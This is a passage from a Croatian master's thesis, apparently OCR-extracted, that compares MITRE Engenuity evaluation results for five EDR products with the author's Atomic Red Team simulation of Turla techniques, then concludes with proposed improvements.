korak simuliranog kibernetickog napada. Detekcijske performanse opisuju se kroz sposobnost
sustava da mapira provedene napade prema definiranim detekcijskim kategorijama s ciljem
prikazivanja koli¢ine kontekstualnih informacija koje sustav pruza prilikom detekcije napada.
Dok korektivne odnosno protekcijske moguénosti prikazuju to¢ni korak napada u kojem je isti
bio zaustavljen. Detekcijske kategorije koriStene u zadnjoj iteraciji evaluacija, podijeljene su
na: detekciju tehnike, detekciju taktike, opcenitu detekciju, detekciju pomocu telemetrije,
nepostojanje detekcije i neprimjenjivo. Detekcija tehnike pokazuje da je sustav detektirao napad
1 uspjesno identificirao tehniku izvodenja, kod detekcije taktika sustav prepoznaje obrazac
ponasanja ali nije u mogucnosti definirati kako je napad izvrSen. Opée detekcije ukazuju da
sustav ima mogucnost prepoznavanja malicioznih aktivnosti ali ne moze dati kontekst
sigurnosnog dogadaja. Kod telemetrijske detekcije sustav je zabiljezio dogadaj ali ga nije u

mogucénosti klasificirati.

U kontekstu ovog rada i moguénosti usporedbe rezultata dobivenih simulacijom i rezultata
prikupljenih iz ove evaluacije, kroz daljnji tekst biti ¢e ukratko opisane performanse koristenih

EDR sustava, na nacin da ¢e se sve detekcijske kategorije koje pokazuju uspjesnu detekciju

52



napada Klasificirati kao jedna kategorija, dok ¢e nesposobnost detekcije ostati kao druga

samostalna kategorija.

Tablica 5: Prikaz rezultata MITRE Engenuity evaluacije, [62]

EDR rjeenje Broj provedenih napada Broj detektiranih napada  Postotak uspjenosti
Bitdefender

Gravity Zone 143 131 92%
Microsoft

Defender for

Endpoint 143 143 100%
Palo Alto

Networks Cortex

XDR 143 143 100%
Trend Micro Apex

One 143 126 88%
WithSecure EDR 143 96 67%

Prema prikazanoj tablici i provedenom analizom rezultata vidljivo je kako su testirani sustavi
Microsoft Defender for Endpoint i Palo Alto Networks Cortex XDR pokazali znatno bolje
rezultate u odnosu na ostala testirana EDR rjeSenja. Kako je ve¢ ranije definirano, evaluacija
dobivenih rezultata se odraduje generaliziranim pristupom kojim ¢e pruziti manje precizni
podaci, ali potreba za takvim pristupom proizlazi iz sinteze industrijskih rezultata i rezultata

provedene simulacije u ¢etvrtom poglavlju ovog rada.

Bitdefender Gravity Zone prema dostupnim rezultatima neuspje$no je detektirao neke od
provedenih napada vezanih uz uspostavljanje komunikacije sa zarazenim zapovjednim
posluziteljem, izbjegavanje obrane, otkrivanje resursa, ostvarivanje postojanosti u sustavu te
eskalacije privilegija. Daljnjom analizom protekcijskih mogucnosti potvrdeno je kako je sustav
uspjeSno prevenirao napade vezane uz inicijalni pristup, izvrSenje malicioznog koda,
ostvarivanje postojanosti 1 kopiranju vjerodajnica, dok sustav nije bio u moguénosti prevenirati

napade vezane uz pogadanje korisni¢kih zaporki.

Microsoft Defender for Endpoint prema generaliziranim informacijama iz gornje tablice
pokazao je sveobuhvatno djelovanje kod detekcije kiberneti¢kih napada. Detaljnijom analizom
rezultata uoceno je da se kod tehnika prikupljanja, zapovijedanja i upravljanja te izbjegavanja
obrane postoje testiranja koja je ovo rjeSenje detektiralo na osnovu telemetrijskih podataka.
Osim navedenih poteSkoca u detektiranju pojedinih tehnika, rjeSenje se pokazalo kao
ucinkovito i u djelu prevencije napada, gdje je svaka faza napada bila onemogucena prilikom

prvog izvrSavanja neke od taktika svake tehnike.
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Palo Alto Cortex XDR kako je vidljivo u gornjoj tablici imao sli¢ne rezultate kao i prethodno
opisano EDR rjesenje. Detaljnijom analizom rezultata evaluacije vidljivo je da je sustav
uspjesno detektirao sve provedene napade detekcijskom kategorijom tehnika, odnosno s
najvecom preciznoS¢u. Dok je u testiranju mogucnosti prevencije napada takoder uspjesno

zaustavio simulirane napade prilikom prvog pokretanja malicioznog programa.

Trend Micro Apex One ostvario je zadovoljavajuée rezultate u provedenim industrijskim
testiranjima. PoteSko¢e u detekcijskim moguénostima ovog rjeSenja manifestirane su kroz
nemoguénost prepoznavanja napada povezanih s tehnikama prikupljanja, izvrSenja,
zaobilazenja sigurnosnih mehanizama i zapovijedanja i upravljanja. Dok se u testiranju
prevencije kibernetickih napada rjeSenje pokazalo ucinkovitim te je jedini nedostatak uocen
kod prevencije izvrSavanja malicioznih programa gdje je napad onemogucen u drugom koraku,

odnosno kod koristenja metode prikrivanja malicioznog programa.

WithSecure Elements EDR prema gornjoj tablici i rezultatima provedenih industrijskih testova
ovaj sustav za zaStitu krajnjih uredaja u poslovhom okruzenju pokazao se kao
nezadovoljavajuci izbor. Sustav je ostvario solidne rezultate, ali kao najve¢a mana ovog rjesenja
istiCe se nemogucnost prepoznavanja tehnika i taktika u svakoj od jedanaest testiranih faza

napada, dok testiranje protekcije nije bilo provedeno.

5.2. Sinteza dobivenih rezultata

Usporedbom rezultata dobivenih provedenom simulacijom s rezultatima industrijske evaluacije
MITRE Engenuity Zeli se provesti korelacija podataka u svrhu donosenja zakljucka kojim ce
se svako od testiranih rjeSenja evaluirati. Takoder razmotriti ¢e se mogucnosti zbog kojih
odredena testiranja nisu izvedena te ¢e se dati prijedlog poboljSavanja za koristenje u budu¢im

simulacijama.

5.2.1. Usporedba rezultata rjeSenja Microsoft Defender for Endpoint
Korelacijom rezultata provedenih simulacija jasno je vidljivo da ovo rjesenje za zastitu krajnjih
uredaja pokazuje slicne reakcije 1 ponasanje kod prepoznavanja kibernetickih napada.
Provedenom simulacijom koriStenjem ART predefiniranih testova zabiljezeno je da sustav
prepoznaje napad na temelju pokretanja zlonamjernih programa i skripti, dok se klasifikacija
tehnika 1 taktika odvija na osnovu sadrzaja samih malicioznih datoteka. Analizom rezultata
industrijske simulacije uoceni su isti obrasci ponaSanja, Sto dokazuje kako se moderni EDR

sustavi najceSce temelje na detekciji pokretanja programa i pracenja ponasanja sustava.
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5.2.2. Usporedba rezultata rjeSenja Bitdefender Gravity Zero
Usporedivanjem rezultata uocene su velike razlike u moguénostima detekcije testiranog
sustava, Sto proizlazi iz Cinjenice da su simulirani napadi bili predefinirani i sluze za
objasnjavanje ponaSanja napadaca, kao i Cinjenice da je testirani sustav bio licenciran kao
probna verzija, koja u odnosu na verziju testiranu od strane MITRE Enfenuity nema ukljucene
sve funkcionalnosti. Analiziranjem napada koji su uspjes$no prevenirani moguce je donijeti
zakljucak kako sustav kada je podvrgnut realnim kibernetickim ugrozama pokazuje ocekivano

ponasanje prilikom prepoznavanja i protekcije.

5.2.3. Usporedba rezultata rjeSenja Trend Micro Apex One
Komparacijom rezultata simulacija moze se zakljuciti kako u oba scenarija provodenja
simulacije odabrani sustav funkcionira na zami$ljeni nacin. Detaljnijom korelacijom
simuliranih tehnika primijeceni su sli¢ni obrasci ponasanja, kao i iste poteSkoc¢e u radu sustava.
Kod testova koji nisu uspjesno detektirani kroz simulaciju opisanu u ¢etvrtom poglavlju ovog
rada doneseno je misljenje kako testovi koji su koristeni za evaluaciju EDR rjeSenja nisu

dovoljno razradeni kako bi sustav prepoznao njihovu malicioznu nakanu.

5.2.4. Usporedba rezultata rjesenja WithSecure Elements EDR
Provedenom simulacijom kori$tenjem ART testova pokazano je kako odabrani sustav nije
kompetentan pruZiti zaStitu poslovnoj infrastrukturi, kada se koristi na na¢in minimalne dodatne
konfiguracije. Korelacijom dobivenih rezultata s javno dostupnim podacima MITRE Engenuity
evaluacije moguce je uvidjeti slicnosti u radu sustava. Iako se provodenjem industrijske
evaluacije rjeSenje pokazalo znatno bolje u odnosu na testove odradene ranije kroz ovaj rad, i

dalje su uoceni propusti u dizajnu sustava, odnosno njegovih detekcijskih moguénosti.

5.2.5. Usporedba rezultata rjeSenja Palo Alto Networks Cortex XDR
Usporedbom rezultata provedenih simulacija vidljivo je identi¢no ponaSanje testiranog sustava
kod detekcije kiberneti¢kih napada i prevencije poznatih malicioznih programa. Detaljnijom
analizom rezultata potvrdeno je kako sustav bez obzira na jednostavnost koriStenih tehnika,

precizno detektira i klasificira ugroze.

5.2.6. Prijedlog poboljsanja provedene simulacije
Kako je ve¢ ranije definirano, a $to potvrduju rezultati odradene simulacije, koriStenje Atomic
Red Team platforme pruza dobru inicijalnu podlogu za razumijevanje sloZenih kibernetickih
napada. Zbog navedenog, koristenje platforme odnosno njenih predefiniranih testova za

evaluaciju EDR rjeSenja, predstavlja relativno nepreciznu metodu evaluacije. Kako bi navedena
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platforma bila kompetentna za provodenje temeljite evaluacije EDR sustava, potrebno je njene
predefinirane testove modificirati prema potrebama simulacijskog plana. To ukljucuje izradu i
poboljsanje postoje¢ih skripti, koriStenje poznatih malicioznih programa te kreiranje

automatiziranog plana izvrSavanja testova.

Poboljsavanjem predefiniranih skripti i sustava omogucuje se kreiranje platforme otvorenog
koda koja ¢e pokrivati sve osnovne funkcionalnosti sustava za simulaciju, a uz to ¢e se ostvariti

neke od funkcionalnosti plac¢enih rjeSenja za simulaciju kibernetickih napada.
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6. Zakljucak

Kiberneticke prijetnje, osobito one usmjerene na krajnje uredaje, predstavljaju znacajan izazov
za suvremene organizacije koje se oslanjaju na digitalnu infrastrukturu. Razvoj tehnologije i
globalna digitalizacija omogucili su brzi pristup podacima i komunikaciju, no istodobno su
stvorili novu arenu za sofisticirane napade. EDR i EPP sustavi postali su neophodni alati u
obrani od ovih prijetnji, no istrazivanje provedeno u ovom radu ukazuje na potrebu za njihovim

daljnjim unaprjedenjem.

Simulacija napada napredne ustrajne prijetnje Turla, provedena kroz jedanaest razli¢itih
taktika, pokazala je kako su suvremeni sustavi sposobni detektirati i odgovoriti na temeljne
prijetnje, poput eskalacije privilegija i lateralnog kretanja unutar mreze. Medutim, sloZenije
tehnike poput eksfiltracije podataka i napada bez datoteka pokazale su slabosti postojecih
rjeSenja. Istrazivanje je takoder ukazalo na vaznost integracije naprednih metoda, poput
strojnog ucenja i analize ponasanja, kako bi se poboljsala detekcija prijetnji i smanjio broj lazno

pozitivnih rezultata.

U svijetu u kojem digitalni podaci postaju najvrjednija imovina, vazno je osigurati slojevitu
zastitu koja moze odgovoriti na rastuée prijetnje. Simulacija napada pokazala je koliko su
organizacije ranjive na napredne ustrajne prijetnje, a implementacija naprednih analiti¢kih
metoda klju¢na je za zastitu krajnjih uredaja. Osim tehnickih rjeSenja, istrazivanje takoder
naglaSava kljuénu ulogu ljudskog faktora u cjelokupnom sustavu kiberneti¢ke sigurnosti. lako
tehnologija moze pruziti obranu, ljudi ostaju najslabija karika u vecini slu¢ajeva. Zbog toga je
kljucno nastaviti s edukacijom korisnika, kako bi bili svjesni potencijalnih prijetnji 1 ranjivosti

koje zlonamjerni akteri mogu iskoristiti.

Provodenjem prakti¢nog dijela ovog diplomskog rada, kroz simulacije napada koji oponaSaju
sofisticirane prijetnje poput onih koje koristi APT grupa Turla, provedena je detaljna evaluacija
ucinkovitosti odabranih EDR rjeSenja. Svako rjeSenje testirano je na temelju unaprijed
definiranih taktickih scenarija koristenjem platforme Atomic Red Team kako bi se analizirale
sposobnosti detekcije 1 odgovora na kiberneticke prijetnje. Rezultati su ukazali na znacajne
razlike u detekcijskim sposobnostima, ovisno o konfiguraciji sustava i ograni¢enjima koristene
licence. Microsoft Defender for Endpoint i Palo Alto Networks Cortex XDR pokazali su
najbolje performanse, no niti jedno rjeSenje nije bilo potpuno imuno na sofisticirane tehnike

napada.
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Usporedbom i sintezom dobivenih rezultata s industrijskom evaluacijom MITRE Engenuity
potvrduje se da sofisticirani napadac¢i mogu zaobi¢i obrambene mehanizme, $to naglasava
potrebu za daljnjim usavrSavanjem sigurnosnih sustava. Unato¢ razlikama u performansama,
sva testirana rjeSenja pruza su korisne informacije o kibernetickim napadima. Ovaj rad
potvrduje vaznost kontinuirane evaluacije i prilagodbe sigurnosnih sustava, kao 1 vaznost
koriStenja predefiniranih testova kao pocetne tocke za prilagodavanje simulacije koje preciznije
oponasaju stvarne prijetnje u dinami¢nom okruzenju kiberneticke sigurnosti poslovnih

infrastruktura.
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